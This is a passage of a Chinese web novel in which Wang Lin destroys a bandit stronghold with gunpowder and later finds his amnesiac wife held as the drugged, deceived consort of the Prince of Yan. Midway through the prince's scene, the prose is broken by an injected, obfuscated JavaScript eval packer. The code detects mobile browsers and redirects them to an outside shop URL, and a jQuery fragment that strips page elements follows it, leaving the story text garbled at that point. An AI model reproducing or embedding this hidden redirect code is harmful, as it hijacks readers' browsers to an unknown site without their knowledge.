李元朗本还不知其妻是谁,见李秋池脱口而出,才知是京城之人,越发心绪烦乱。可见这女儿几年来也未曾放下,可她放不下的是王林还是暗自较劲的李慕婉,谁也不知。 李秋池感受着父亲的目光,躲开视线,面颊的笑容却难隐藏。 “其发妻在月前那搜被劫匪掠夺的商船上,落水失信。”李元朗说,“王林之所以寻来,是要向丹青寨讨债的,而他也从未停止寻妻之路。” “为父应允他会帮他寻人。” 李秋池默念着,“临江水深浪大,听闻官府搜寻了七日七夜,死人都捞回来了……” 若是李慕婉落水还未寻到,多半是已经死了。即便没死,只要在王林先前找到她,那么…… “爹,王林住在府上吗?”李秋池盘算着说,“若爹替他寻了李慕婉,他又怎愿跟您回京城,当初他若非是为了那个女人,又怎会辞官回乡,爹,你糊涂了。” 李元朗恍然,摆摆手,劝说:“为父自有打算。” *** 王林与李元朗商议,再次以身入局。为军队传递山上敌情,里应外合,剿灭匪徒。 外边还有丹青寨抓捕他的人,李元朗暗想此法当可行的通。 王林自投罗网被人押着上了丹青寨总寨,木寒艳见到了一头白发的书生,与属下描述之人相貌无二。 木寒艳想要处死此子,可王林若无十足把握,也不会只身上山。 她与柳艳虽说并非亲生姐妹,样貌却有几分相似。 “就是你一人,把我那妹妹的寨子搅得天翻地覆,为此还搭上她一条性命。”木寒艳冰冷说。 “她该死。”王林满不在意。 他这副毫不畏惧的气势,木寒艳倒觉有些意思,若非柳艳只是比试输了失信要困下他,便能让他下此狠手,此人留不得。 “大当家还真是姐妹情深,如今已经兵临山下,剿匪大军随时踏破山门,此刻还能这般镇定,费力寻我这么一个不足挂齿之人。”王林说道。 他在试探。 木寒艳很镇定,只是不屑一笑。 “说吧,为何要杀人。” “李元朗大军上山,大当家的后路是燕州吧?”王林从容,不答反问。 木寒艳手中鬼头刀擦过,提防渐起,“你与李元朗相识?” 王林不曾想她那么快就想到这层了,也没掩饰。 “不怕我泄私仇杀了你?”木寒艳盯着他。 “大当家若要痛下杀手,王某自然无还手之力。” “是吗,那你又是如何在分寨那么多人眼皮底下,取了小妹性命的。”木寒艳目光落在他那头白发上,怎么看都不像嗜杀之人。 王林不愿多提,“大当家敢杀吗?” 副手入内不知说了什么,木寒艳出了正堂。 “大当家,这是李大人送来的信,此子要留。” 木寒艳看着信上文字,王林与李元朗相识,李元朗要保下他,木寒艳把信纸捏成团,丢进火炉里。 “大当家?”副手唤了她一声。 木寒艳走回堂内,盯着王林:“你与李元朗相识,想必上山另有所图。” “今夜你若说不明白来意,我便叫你有来无回,甭管李元朗还是谁。”木寒艳神色凝重。 “杀了柳艳,是为私仇,若非他们寻我麻烦在先,我也不至于要了她性命。”王林说的三分真七分假。 “私仇?” “若非柳艳纵容属下截获临江那批商船,我妻又怎会落水杳无音信。”王林含着恨意说,“李元朗答应助我寻妻,但是要我为他所用,却不料大当家的人转眼就把我抓了。” 木寒艳眯着眼,此人她摸不透。 “大当家要杀便杀,即便留着我性命在这云雾岭,过不了几日也要命丧于此。” “何意?” “李元朗乃是此次剿匪将领,大当家觉着能全身而退?”王林说,“难不成他许了大当家能退的路,假死遁逃燕州吗?如此李元朗能向朝廷交差,还不需动用大量兵力,也算两全其美。” “李大人与大当家谋划什么王某自是不感兴趣,王某自始自终只想寻着发妻音信,远离纷争,不愿为李元朗所用,若大当家去往燕州时,能带上王某一路,王某不介意替您做个说客。” “你觉着我需要吗?”木寒艳饶有兴趣看着他。 王林镇定:“大当家看似运筹帷幄,实则早已腹背受敌,若能早日逃离燕州,还能在燕王那扳回一局,时机若是晚了,燕临两州都容不下丹青寨。” “以你们之力,是能与李元朗抗衡还是能与燕王抗衡?” “大当家有这魄力,是因李元朗给大当家暗自输送的那批火药,王某说得可对?” 王林一连串的质问,打乱木寒艳的判断,李元朗居然把如此密切的往来之事也与他说了。 “你既来路不明,前几日还搅了我的分寨,杀了我的人,此刻却叫我信你之言,当我是傻的吗?” “王某自认没有永远的敌人和朋友,只有长久的利益,而王某带来的利益能够确保大当家活着出去,王某不过是从中达成自己目的,即便大当家不信王某,此刻怕是早已没有别的路能选了,王某说的可对?” “你要借丹青寨脱离李元朗掌控?为什么?”木寒艳终于有了一丝松动。 见她要入套,王林不紧不慢,“李元朗想我为他所用,而我不愿为他所控,仅此而已。” “你想利用李元朗的势力为你寻妻,适才答应为他所用,却又被我的人俘虏上山,我怎知你跟李元朗是不是串通好的?”人到了山上,李元朗的信就送到了,还表明王林是自己人,两方可通过他传递信息,难免木寒艳不会多想。 “大当家既然防备李元朗,为何还要受其牵制呢,有这批火药在,丹青寨若是奋力一敌,并非不是李元朗对手。”王林说,“不然,大当家为何要那一批火药,难道不正是以防万一。” 木寒艳神色吊起,霎时间来了兴致,她自己都没这个把握。 他虽不知道李元朗为何答应给木寒艳这批火药,从中获得何等利益,又或者受了何等胁迫。但他能断定两方都并非诚意合作,另有隐瞒和目的。 但只要以二人身份立场分析一通,细细想来,也能大致理清其中缘由。 “丹青寨易守难攻,若有火药在身,李元朗等人想要上山,大当家岂不是瓮中捉鳖,趁其不备再逃往燕州。” 木寒艳默不作声,思量着他话中真假,以目前局面来看,李元朗不过是多次拖延时间,若他多次上山难免会透漏行迹,所以李元朗从在信中表明,要她留下王林,也有这么个用途。 只是李元朗的算盘,怕是要崩了。 木寒艳抬手,让人把王林带了下去。 *** 月色如银,万籁俱寂,李元朗所住府内,他褪了黑衣,书房门敲响。 “父亲。” 李元朗唤人进来,李秋池一身紫衣,朝刚换下常服的人欠身,忙着问:“父亲,此行上山如何?” “剿匪势在必行,丹青寨也不能幸免,木寒艳之意难测,王林已经上山多日,若不能透出些丹青寨的线索,我也没有留他的必要。”李元朗疲惫说,眸子里都是算计,“若非先前与那木寒艳有过往来,剿匪之行我又岂会再三犹疑,掣肘之力最是难消。” 李秋池灵机一动,下定狠意,“那父亲为何不直接把木寒艳杀了?永除后患啊。” 李元朗看着这女儿,欲言又止,他怎会没想过。 “派出去的人有了消息,有人在燕州见过李慕婉。”李元朗转了话峰。 窗外暗夜下的身影微震,奔波丹青寨与知府府邸的王林目露些许疲态。 “父亲之前不是跟王林说李慕婉人在京城?”李秋池不解。 “王林与木寒艳来往密切,以他风骨并非愿意被人掌控之辈,倘若为父不这么做,他又怎会听我的。”李元朗说,“待清缴丹青寨后,王林入京,再把李慕婉已故的消息告知,往后他人在京城,女儿想何时见便何时见。” “父亲,”李秋池眼含热泪。 “八年前,李家还是响彻京城的皇商,若非阻碍了燕王的药商之路,我又怎会陷李家于不义。”李元朗忆起往事。 李秋池仍然记得那夜李家查封后,本以为李家上下会无一幸免,却不料皇帝一道圣旨,赦免了李家兄妹之罪,逐出京城作罢。 可她却到父亲那求了一事。 李家兄妹出了京城一路顺遂,可偏到了天麓山就出事了。 “当年在天麓山没能要了李家兄妹二人性命,不曾想他们还苟活至今,活着便活着吧,总归二人不能回京,我也无需忌惮。”李元朗说,“虽天麓山匪患早被朝廷剿灭,我本该高枕无忧了,可丹青寨里却有一人知晓曾经之事。” 李秋池的反应平淡,明显知道此事。 窗台下的暗影握紧了掌心,月光打着一双深眸,锋利之色凛冽露出。 “父亲,您说的人可是木寒艳?”李秋池道。 “当年便是通过木寒艳,联通天麓山匪徒相助,天麓山没办成此事,却要谎称那兄妹二人已死,木寒艳知晓此事,故而从得寸进尺与我要那批火药。”李元朗撑着案台,声音透出些沧桑,“丹青寨木寒艳为何要劫持那搜商船,因为商船上有朝廷运送到燕州战场上的药材。” “临州都知木寒艳与柳艳分家,可那是做给外人看的,柳艳手下敢劫持的那批商船,授意的正是木寒艳。” “外人还以为是柳艳任性猖狂,仗着老寨主的名号,打家劫舍,殊不知背后纵容的都是这个木寒艳。最可笑的是,木寒艳还要装作一副疏于管教的模样。”李元朗轻嗤,“王林不就是信了她这说辞才愿意为寨子和军队通信的。” “父亲,那接下来是何打算?”李秋池说,“京城的圣令下来了。” “唯有剿灭丹青寨,父 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他推了门,掠过李秋池,却始终没正视她,往李元朗书房去了。 李秋池跟在身后,“王林,我都听父亲说了,你在寻李慕婉的音信。” 王林步子迈得快,李秋池要小跑着步子,“木寒艳心狠手辣,她可有为难你?” “李小姐久居京城,想不到对丹青寨倒是很了解?”王林这才停步,目视前方,声音冰冷。 “父,父亲说的。”李秋池连忙解释。 “是嘛?那李尚书可有同你说过天麓山?”王林这话是有试探的意思。 李秋池闻声顿了须臾,暗中看不见的角落,手心冒出汗。 “今夜与令尊有要事相谈,你若有话要说,大军上山之日,李小姐若能来,王某愿洗耳恭听。”王林唇角牵起一缕算计的笑,提步远去。 突如其来的主动,让李秋池满覆暖意,对着那远去的身影频频点头。 王林与李元朗商议到了后半夜,他用李慕婉在京城的音信安抚王林。若非他都听见了,即便对此信有疑虑,他也会到京城去探个虚实,眼下但凡与她有关的,王林都会不惜代价去达成目的。 翌日王林奉命再次上山,与李元朗商谈好后,决意里应外合,打得丹青寨措手不及,也无遁逃之力。 原以为双方都留有余地,王林搅了一手浑水,他要这些人,有来无回。 入夜后,李元朗按照约定时间带领军队围攻云雾岭,丹青寨里一片寂静,偶有些山鸟野兽鸣叫。 王林在寨子主堂正与木寒艳商谈逃往燕州的线路,即便脱离李元朗的围剿,若想躲过程贤的大军而不被发现也是一件难事。 亥时将至,以军队行动踪迹,丹青寨哨兵也快发现了,他寻了借口退出了主堂。 木寒艳还在思索王林的决策,若要带上全寨的弟兄迁往燕州定然会被发现。 程贤大军此时估计已经快到燕州城外了,若能与燕王取得联系,两军交战时,来个前后夹击,有了投名状,在燕州不愁没有留处。 木寒艳指尖捏着太阳穴试图放松,疼痛却越发明显。如王林所说,时机过了便晚了,是战是退她必须得尽快做出决定。 就在这时,属下来报,“大当家,官兵攻打上山了。” 木寒艳骤然起身,“什么?带兵之人是何人?” “来人自称李元朗。”属下拱手回道。 “李元朗,出尔反尔的小人,”木寒艳未乱阵脚,镇定下着命令,“果不其然,王林早先就让提防过,按照先前布局行事,各营弟兄守好寨门。” “是。” “王林呢?”木寒艳忽而问道。 “刚还见着的,往寝屋方向去了。” “大当家,朝廷狗官打上来了,怎么办?” 木寒艳抄起鬼头刀要去迎敌,得亏王林提供的丹青寨线路和哨点分布图,李元朗的军队才能顺利踏破寨门,还能轻易绕开寨子布控的陷阱。王林功不可没,在丹青寨的这些日子的观察和探究,丹青寨自然无法逃过朝廷围剿。 但若能借此剿灭木寒艳和李元朗,一举两得。 两方对峙中,火光摇曳,寨门前大军压阵,一个士兵身形瘦弱,面颊白皙,副将察觉后扯着她手腕上前,李秋池扶正身上铠甲。 李元朗看清了女儿,诘问道:“池儿,你来做什么?” 王林同她说在丹青寨等着自己,她便混在军队里一同上山。 “李元朗,”木寒艳在火光中举着鬼头刀扬声,“还真是背信弃义这一套,王林说得果真没错。” “他人呢?”李秋池率先问。 木寒艳打量着她,却未理会,对李元朗说:“你以为今夜攻上山便能拿我丹青寨去给朝廷交差了吗?” 李元朗放声大笑,笑声荡在夜空中,狡猾的老狐狸窥伺着黑暗,“木寒艳,你的后路不就是燕州吗?这些日子与本官行迂回战术,拖延时间,想与燕州联系脱困,本官说的可对?” 木寒艳抬了抬头,立在高处的她仍然保持一副高傲的气势,那是她多年叱咤云雾岭一带累下的威慑。 “大当家别跟这狗官废话,杀了他。” 木寒艳侧头低声问,“王林呢?” “小的已经派人去寻了。” 木寒艳等不了了。 “怎么?你还等着王林能带你下山不成?”李元朗说,“他的妻子死在你们截获的那批商船下,你觉着他能许你离开,前往燕州?” 木寒艳心底一沉,却不露声色。 属下更是惊慌,“大当家,那批火药。” 木寒艳一声令下,眼下管不了王林了,牵制李元朗的军队才是首要任务,至于王林,秋后算账不迟。 电光火石间,暗箭擦过黑夜,穿破盔甲,击中一位士兵,霎时寨子里纷乱四起,长枪与鬼刀交锋。声声清响绕在山间,盖过鸟啼声。 远处一座塔楼之上,一位白发男子正拉弓蓄力,他把寨子所有动静尽收眼底。 “果然,都来齐了,省得麻烦。”王林鹰眸窥在黑夜。 弓弦拉满,伴随“咻”的一声,箭羽滑过石子,擦出火星,火线一息燃起,数吨火药齐炸,轰开了山石,连同整个寨子夷为平地,废墟之下,火势点着残骸。 风里混着火药炸开和尸体焦浓的味道,林里鸟兽逃窜,乌鸦盘旋在夜空,凄厉乱叫。 李元朗等人和丹青寨被浓烟与火势吞没。 “你们本就必死,不只是为着给自己脱身,更是为了替婉儿讨债。”王林决然转身,身后的焰火高照,笼罩了整个云雾岭,火光映着他明朗的轮廓,神色冷静。 银发反着红光,飘在风里,白袍消失在夜空。 60.王妃 离云雾岭五里之外的一个村口,许立国带着王依依抓着萤火虫。 “许立国叔叔,爹爹怎么还没来?”王依依的小荷包里装满了几十只萤火虫。 许立国嘴里叼着一根狗尾巴草,倚靠在树枝上,百无聊赖说:“小祖宗,再等等。” 远处马蹄声来,月色皎洁,银发飘在月光下。 “爹爹。”王依依听得马蹄声近了,看清马背上的人喊道。 许立国忙直起身去迎,“主子回来了,可还顺利?” “嗯,”王林跨/下马背,抱起冲过来的王依依,“依依有没有听话?” 王依依两只小手捏着王林的脸,“爹爹怎么不信依依,你问许立国叔叔。” “小主子这段日子都没闹,乖着呢。”许立国一旁打岔道。 “爹爹,依依抓了好多萤火虫。”王依依把荷包举到他眼前。 王林很是捧场,“依依这么厉害。” “可还记得娘亲说过什么?” 王依依垂首细想,把荷包口扯开,抖落几下,萤火虫挥动翅膀,朝四处草丛飞去,荧光如星光点缀。 “此地不宜久留。”王林抱着女儿跃上马背。 “骑大马咯。”王依依满是雀跃,从前在竹林小院只能骑着她的小木马玩。 “主子,咱们去哪?” “燕州。”王林夹紧马肚,扬着马鞭,马蹄飞扬而过。 “爹爹,咱们是去找娘亲了吗?”风刮着她小脸,王林抬着衣袍盖住了她头。她想探出来,又被王林扣上了。 “嗯,依依乖。” 云雾岭的火势燃了一夜,丹青寨早已是灰烬铺天,山下远处村民人言纷纭。 临州知府带着潜火队和军队赶到山下,火势才灭了些许。 “听说是剿匪,”村民挤在一块,指着山顶,“这一块我们都很少来的,昨夜我们屋头都睡下了,一声巨响炸开了似的从山上传来,紧接着大火蔓延,还有落石的声音,可那是匪窝啊,咱们也不敢去看。” “知府都去了,据说是数吨火药一块点着了,不然哪有那么大威力,把那些官兵和匪徒都炸死了。” “死无全尸,都成灰了。”村民声音似乎有些惋惜。 “……” 铠甲里还有骨头,并非全尸,官兵所见不堪入目。 王林赶至临州与燕州的交界处已是五日之后,程贤所带军队在城外三十里地安营扎寨,这次倒是王林主动上前问候,程贤面对他的到来本还有些意外,王依依已经率先喊着他了。 “程叔叔。” 程贤随即把佩剑丢给副将,抱起王依依,“数日不见,依依好像又长高了。” “王林,你们这是要进燕州城?” “嗯,”王林说,“婉儿在那,我得去。” 他口中的婉儿想必就是他的妻子。 程贤并不知,从前他口中的京城才女,就是眼前人的妻子。 “爹爹带依依去找娘亲。”王依依喜爱极了他的铠甲,摸着上边的甲片,一边还留意王林跟别人说话。 “弟媳怎会在燕州?”程贤不解,从第一次见着他就见他一人带着孩子,不见孩子娘亲。 “此事说来话长,我知她一定在那。” “可是燕州要打仗了。”程贤有意提醒。 “那我更得去了。”王林说。 “先前就想问你这一头白发,可是因为弟媳?” 王林垂头默认。 程贤思虑后说:“其实此次与燕州一战,我并不想起兵戈,若燕王愿意削藩,此事还有转圜余地。” “你想劝降?”王林说,“可若燕王烨恒接受削藩,早几年老王爷在时便已经同意了朝廷提议,又何必僵持至今。” 程贤倪着他,似玩笑说:“我一人自是把握不大,若你愿意一同前行,我这把握就大了。” 可王林听得出来,他并非玩笑,而且仿若还已经打定了注意。 “我知道你这些年虽远离官场,可你对治世之道一直独有见解,后来我入了兵部,看过你会试那篇策论,其中就有提到削藩之言。”程贤盘腿坐下,拿了一壶酒袋扔过去,“这些年来,你四处讲学传道,不也是以你的方式治天下?” “王林,跟我一起作战。”程贤剥掉酒塞,碰撞下洒出几滴酒水。 王林手中的酒袋拿了许久也没有饮下,他伸手示意王依依过来,王依依听话离开程贤怀抱,坐到王林腿上。 “以你一己之力想要在燕州寻人是大海捞针,若你已有线索想必也不会白了三千丝,”程贤继续说,“王林,你助我,我帮你寻人。” 王林眉心一凝,却见程贤透着真挚,“即便你不应下我的请求,若你需要,我程贤定当竭力,在京城这些年,我也培养了些探子,总比你带着依依一个孩子,五湖四海漫无目的地寻来得快。” 他还在犹豫,王依依晃着小腿,手里玩着裙摆。 王林最终还是应下,“成交。” 程贤松了口气,酒袋递过去,王林拔掉酒塞,碰撞中洒出酒滴落在王依依手背上。 见爹爹与人喝得快意,她难免好奇这壶里的酒到底是什么味道,小脑袋转了须臾,手背抬到唇间,舌尖舔上后是辛辣的,那小脸快哭了。 程贤瞧她模样哭笑不得,委屈巴巴地仰着头望着王林,王林擦着她嘴角,从身后拿出水壶,给她喝了几口。 “你这孩子带着还挺细致的。”程贤揶揄他。 “若她娘亲在,比我要细致。”王林心中苦涩都混在酒里。 程贤不会明白,何至于会思念一个人把头发都弄白了。 *** 燕州近日与朝廷的关系更是水火不容。 燕王与众臣商谈完政事后回了寝院,随行的将领提点,眼下朝廷削藩,燕王府无嗣,燕州的官员早两年已经蠢蠢欲动,于朝廷而言,削藩自然有利。 而对于燕王来说,若是能有一子,便可暂缓燕州割据势力的不安。 自老燕王过世不到三年,新王烨恒上任,王府王妃位置空置许久,新任燕王还未有选妃之意。 此时倒是不知去哪寻得一子。 一道身影入了寝院,燕王遣散了将领,下人见状随即来禀报。 “王爷,月前带回来的女子,醒了。” “醒了?”燕王手里端着折子,却始终未抬头,漫无目的翻阅着,“可有说什么?” 王府老奴成嬷嬷扫了一眼书房,有些犹豫,“那位女子已经不记事了,不知来自何处,姓甚名谁,还有,府中大夫说此女已有身孕。” “王爷,那位夫人模样生得好,该不会是哪家小妾或者通房勾了主家,被当成狐媚子打出来的吧?” 燕王拖着腮若有所思,“不记事了?已有身孕?” 一月前燕王带着护卫从燕临两州交界处的校场练兵回来,经过外河休憩时,见着冲在河岸的李慕婉,当时还尚有一口气在。 新任燕王烨恒不像老燕王,杀戮成身,见着尚有一息,善心便起,救下此女。 闻成嬷嬷所言又思及将领所提一事,倘若王府有嗣,燕州官员浮躁之心可定。 烨恒手中的奏折放下,“带本王去看看。” 王府雕栏玉砌,从书房到李慕婉所居别院,还有一段路途。 “你醒了?”榻前端正的男子锦衣华服,尊贵肃正。 依在床榻前的李慕婉面容细腻如玉,泛着一丝柔弱,成嬷嬷在王府侍奉多年,何等绝色未曾见过,如此绝色与仙尘之姿,她没见过。 烨恒愣了须臾,若非他心里打着别的主意,此刻也难收起思绪。 刚醒的她脑袋仍是昏昏沉沉的,巡视着房内陌生的布置,还有眼前不识的男子,她缓缓问道,“这,这是哪?” “这里是燕王府。”烨恒抬手接过成嬷嬷手里的汤药,声音柔和。 “燕王府?”她想了想,望着陌生的面孔,“你是燕王?” “本王在城外河边救起你,姑娘是遇着何事落水?”烨恒试图唤着她记忆,可李慕婉只要追溯记忆头便会作痛。 “落水?”她想不起来。 痛苦之色溢出面庞,烨恒贴心道,“大夫说你伤了头,若想不起就先在王府住下吧,等养好伤本王再替你寻家人。” 李慕婉面对眼前人的善意,心里防备略松一分,却仍是心怀古怪,防备着。 烨恒未久留,只是吩咐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196356|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下人好生照顾,又召见了府中大夫,细细寻问了李慕婉的病情。 她身孕之事,成嬷嬷还未告知,燕王另有打算。他眸子藏着算计,背影落在屏风上,“可有什么药物能彻底抹去她的记忆?” “这……”大夫思虑良久,“抹去记忆的药是有,只是此女失忆乃脑中瘀血未化,若再次受到强烈冲击,便有可能再次记起。” 烨恒抚着书房上挂着的燕州地势图,若有所思道,“只要养在王府里,派人好生照顾便可。” “老夫先开药方,按药量服用即可。” “这药喝了,”燕王还是有些许担忧,“会不会对她腹中胎儿有所影响。” “王爷放心,这药不伤身,老夫还在药中加了几味安胎药物。” 烨恒点头,吩咐成嬷嬷打点好一切,李慕婉喝了几副药,再次醒来时,就连在王府养伤的这半月之事全然忘干净了。 “这是哪?”她再次醒来时,又是同样的问题,成嬷嬷便知晓,药效来了。 成嬷嬷忙道:“王妃这是睡糊涂了,这里是王府啊。” “王府?王妃?”李慕婉闻言努力回想着,可脑海似乎划过一团烈火,灼烧着她的神经,闪过的画面残缺零碎,却什么都想不起来了。 燕王摆手让成嬷嬷退下,手中药勺盛了汤药递到她嘴里,满覆温柔,“王妃在府中湖边游玩,不慎踩空落水,伤了头,许多事都不记得了,本王原本还不信,可你连我也忘记了吗?” “你是王爷?王府,京城吗?”李慕婉揉着眉心,是空白的。 “玥儿,这是燕州啊,我是燕王烨恒,你是我的王妃,你都不记得了?”烨恒神情满是痛苦,一副千言万语又不能道的难色。 “玥儿?是我的名字?” “你叫宋玥,是本王王妃。”烨恒仔细观察着她的反应。 “大夫说你要静养,不能多思,你刚醒来,许多事都不记得了,往后本王再慢慢同你一块找回记忆,眼下要事,你该先养好伤,还有肚子里的孩子。” 李慕婉瞳孔微张,侧了头,满眼惊讶,却又下意识抚了抚腹部,“孩子?” 燕王手里的汤药已经举了半日,李慕婉都没有喝,从醒来后被告知的一切信息,她无法辨别真假。不知道为何在此,也不知自己到底是谁。 王府,王妃,燕王,都是从旁人口中得知。 又见燕王与下人悉心照顾,若是再疑心怕伤了他人之心。 燕王点点头,“来,先把药喝了。” 李慕婉蓦然端过药碗,听话地喝下了。 烨恒有公务在身,并未久留。 李慕婉在房内静思多时,窗外的光线打入,引着她出了寝屋。 她在庭院巡视着周围陌生的环境,院里贴身侍奉的侍女拢共二十四人,外院和内院侍女分工明确,凡是见着她出来,都毕恭毕敬地唤一声王妃。 李慕婉心有多般疑虑,只是刚要开口,贴身服侍的成嬷嬷便让她少些忧思。 燕王烨恒常忙于公务,并不多来别苑看她,倘若是寻常夫妻怎会如此生疏,加之她每每见着燕王,也都没有想要亲近之意,他是自己的夫君吗? 烨恒行色匆匆入了院子,李慕婉坐在柳树下的长椅,手里端着鱼食百无聊赖地往池子里丢。 泛起动静的水面浮出不少锦鲤,她神思在外,不知游去了何处。 “王妃近日来气色有所好转,精神也足了。”烨恒悄无声息走近她,又怕扰着她,轻拿过她手里的鱼食,本欲要握上她的手,李慕婉却本能躲开,两两相望之下,她神情溢出歉意。 “我……” “无妨,从前的事情你都不记得了,在你未想起前,我不会为难你的。”烨恒没有强迫她。 “只要你安心养胎,把孩子生下,来日方长。” 李慕婉感激地点了点头,虽说对他没有情分,可他举止还算规矩。每每察觉李慕婉的抵触,燕王也有所顾虑,并未做出出格之举。 他的目的,只是腹中胎儿。 之后每隔三五日,烨恒便会到别院探望李慕婉,李慕婉被王府下人照顾得很好,也渐渐习惯王府生活,接受这个身份,只是她仍然什么都记不起来。 61.是她 军队驻扎在燕州城外,程贤递了谈和信入了燕王府。 燕王看了信陷入沉思,以燕州兵力对抗朝廷,胜算不大,但若是借楚国之力并非没有胜算。只是楚国今年天灾频降,再发动国战实属不智。 别院里,李慕婉坐在凉亭上乘凉,王府下人照顾得细致,院里无论布置还是吃食都以她喜好为先。 见着腹中胎儿日益增长,这种感觉她明明是第一次却无比熟悉,就好似从前便体会过。 那自称自己夫君的燕王,隔三差五忙完政事才回别院看一眼自己。除了问几句冷暖温饱,其他都是关心胎儿的话。 她这王妃也从未见外人,燕州郡下拜谒的官眷只知王府里有了新王妃,妍姿艳质。 可是从前也不曾听闻燕王府已有王妃,燕王府传到外头的信息只说是王妃从前身子不适,又是普通人家女子,将养在别院,而今怀有身孕才接回王府调养。 王府有了子嗣,才能稳定燕州宗亲和郡县官员。而对于朝廷谈和之事,燕王接了程贤的信,在王府设了宴席。 宴席宴请都是燕州贵胄及郡县要臣,烨恒一新任藩王,若非老燕王原先那些忠心的老臣扶持,也难以在短时间内掌握燕州所有兵力。 而程贤出于诚意,除了随行的副将,便只带了王林。 夜幕低垂,王府里宴席曲调悠扬,管弦之乐曼妙,身着碧绿水袖的舞姬翩翩起舞,与院中橙黄的银杏交错,长袖拂过程贤。 程贤笑意浅浅,抓住舞袖轻轻一带,舞姬见势轻盈腰肢扭动到他跟前,栽入怀里,燕王对此举颇为满意地噙着笑意。 却见程贤再无其他动作,而是随着音律,托起舞姬的腰,送了出去。 那舞女转了几个圈,魅惑的视线再次落到程贤左侧的王林身上,少年长发如银,在月色下显得极为清冷。 只是他面容上裹了一层淡淡的伤愁,眉眼锁着冰冷,身上气势让人难以靠近,舞姬只得把目标转成副将身上。 “程将军之名早有耳闻,年纪轻轻封得骠骑将军,我赵国果然能人辈出。陛下指派程将军来燕州,不就是要收了本王这藩王之号。”燕王直言道,手中酒杯举起,隔空朝程贤碰了碰。 程贤拱手行礼,“王爷你我都知这仗若是打起来两边都不讨好,尤其对燕州百姓。朝廷削藩势在必行,若王爷执意抵抗,莫说削藩后朝廷应允的特权没了,连同燕州都不再有容身之所。” “程贤!”燕王手下其中一位将领猛然拍桌,惊掉了侍女手中的酒壶,哐当清脆的声音绕在宴席中。 “王爷恕罪,王爷恕罪。”小侍女跪下抖得不停,燕王烨恒摆手示意道,“王妃有喜,本王王府见不得血。” 侍女捡回一条命,“谢王爷,谢王妃。” “程某所言虽不入耳,想必王爷比程某更知这背后所牵涉之广,燕州物产虽还算丰饶,可这几年上供朝廷之物一年不如一年,朝廷未追究,还一直拨饷不断,可见陛下诚意啊。”程贤回了一盏,他喝的畅快,酒水落了几滴。 身侧的王林一直未开口。燕王淡然牵起唇角,注视着他左右的随侍,其中一人白袍白发,有仙风道骨之姿,可那张脸却清俊无比,看着也就弱冠出头,不免多打量了几番。 “程将军此行,可是带了不少能人易士,不过这打仗的,带个书生算是怎么回事?”燕王说,“汉昭烈帝曾有三顾茅庐重请诸葛先生,这位莫不也是程将军从哪请的高人谋士?” 王林这才开口,“在下王林,燕王谬赞,王某与程将军乃是同窗之谊,并非高人谋士。” “普天之下,莫非王土。老燕王在世,陛下以推恩令下行燕州,老燕王逝后,王爷方得以继任王位,却要行提着脑袋造反之路,燕王有如此气魄,诸位宗亲也如此么?”王林说,“程将军心怀大义,向朝廷自请和谈,王爷若愿止戈,燕王封号仍能代代相传,只是这军政之权,得归回朝廷。” “若是执意起兵,燕州只会如断梗浮萍,此间便是两全之策。” “哼,两全之策?”燕王轻嗤,睨着白发少年,“王先生所言大义。” 眼前之人胆识过人,气势不在程贤之下,能让程贤礼让三分的,并非常人。 燕王打岔举起杯,“诸位今日远道而来,本王该是对诸位款待,这酒还未喝呢就急着谈正事,不若让王妃奏一曲。” 燕王朝屏风后拍了几下手,宴席管弦霎时顿了,舞姬与琴手退下。 燕王背后的雕花屏风,上边刻着盘踞山脉的飞龙,一副充斥野性与欲望的画。又见身后的屏风一抹清影婉约,落坐琴台前。 李慕婉纤纤玉手拨动琴弦,琴音刚起,垂首喝酒的王林微顿,猛然抬头寻着琴音出处望去,映落在屏风之下的影子,好生熟悉,随着拨弦的动作,摇曳的身影更加分明。 加之这音律轻重的习惯…… “这琴音怎得如此熟悉?婉儿,”王林轻喃了句,痴痴盯着那身影,“是你吗?” 燕王注意到席下的目光,赤裸裸的,毫不避讳地望着他的王妃,心中起了不快,众人沉醉在这琴音里。 “王先生,王妃这琴声有何不妥?” “这琴声幽韵,如珠落玉盘,却不知为何王妃的琴音中夹杂了一丝悲情。”王林饮下酒,苦涩得难以下咽。 似乎与旁人听得有些不同,燕王笑说:“王先生果然非同凡响,这琴音荡气回肠,先生却说王妃奏了一丝悲情。” 专注弹琴的李慕婉倒是有些讶异,居然有人能听懂她的弦外之音…… “许是在下多思了。”王林又饮下一盏酒,想起今夜之行,收回了心绪。 伴着琴音,他却无法自控一杯接着一杯,琴音勾起伤心事,苦涩在口中打转,回味,对李慕婉的思念,长久的难以抚平。 月色躲在银杏树梢后,琴音也止了。 成嬷嬷领着李慕婉从屏风出来,袅袅仙姿,本是安静的宴席,在众人看见那女子矫若游龙朝席间款款而来之时,所有目光都汇聚在这一人身上。 烨恒起身等在屏风后,接着李慕婉,二人并肩而立在高台之上,李慕婉身姿宛若初春的新柳,明明腹部隆起,却难掩去她的清尘之姿,踏出时似踩在白云之上,轻盈又不染尘埃。 程贤张着下巴,“我滴个乖乖,好一个出淤泥而不染,濯清涟而不妖啊。” 他正欲叫上王林一块欣赏,却见他低头伤神难以自拔,便不再烦扰。 只是在他心底闪过一个念头,如此绝色女子,与燕王为配,倒是可惜了。 而那白发男子早在进入王府时,心底便莫名烦躁,起初只是觉着这场景与京城相似,他不喜官场尔虞我诈,可为了与程贤的承诺,不得不赴约前行。 李慕婉被燕王引着落坐身侧,只见燕王颔首与她低语了几句,而后李慕婉便起身涉阶而下,宴席目光一直追随着她,直至走到程贤与王林身前。 这还是燕王第一次让李慕婉以王妃身份出席宴会。 程贤盯了良久,注意到有失分寸,而后收了目光,朝她颔首行礼。 “王妃替本王,款待程将军与王先生今夜赴宴,尔等提议,本王会思虑。”燕王道。 李慕婉端起桌上的酒壶,给程贤满上酒樽,举手投足尽显优雅之态,所过之处,宛若风中都夹着一股清甜。 李慕婉再次移步到垂首自饮的王林身前,适才便是他听出自己弦外之音。 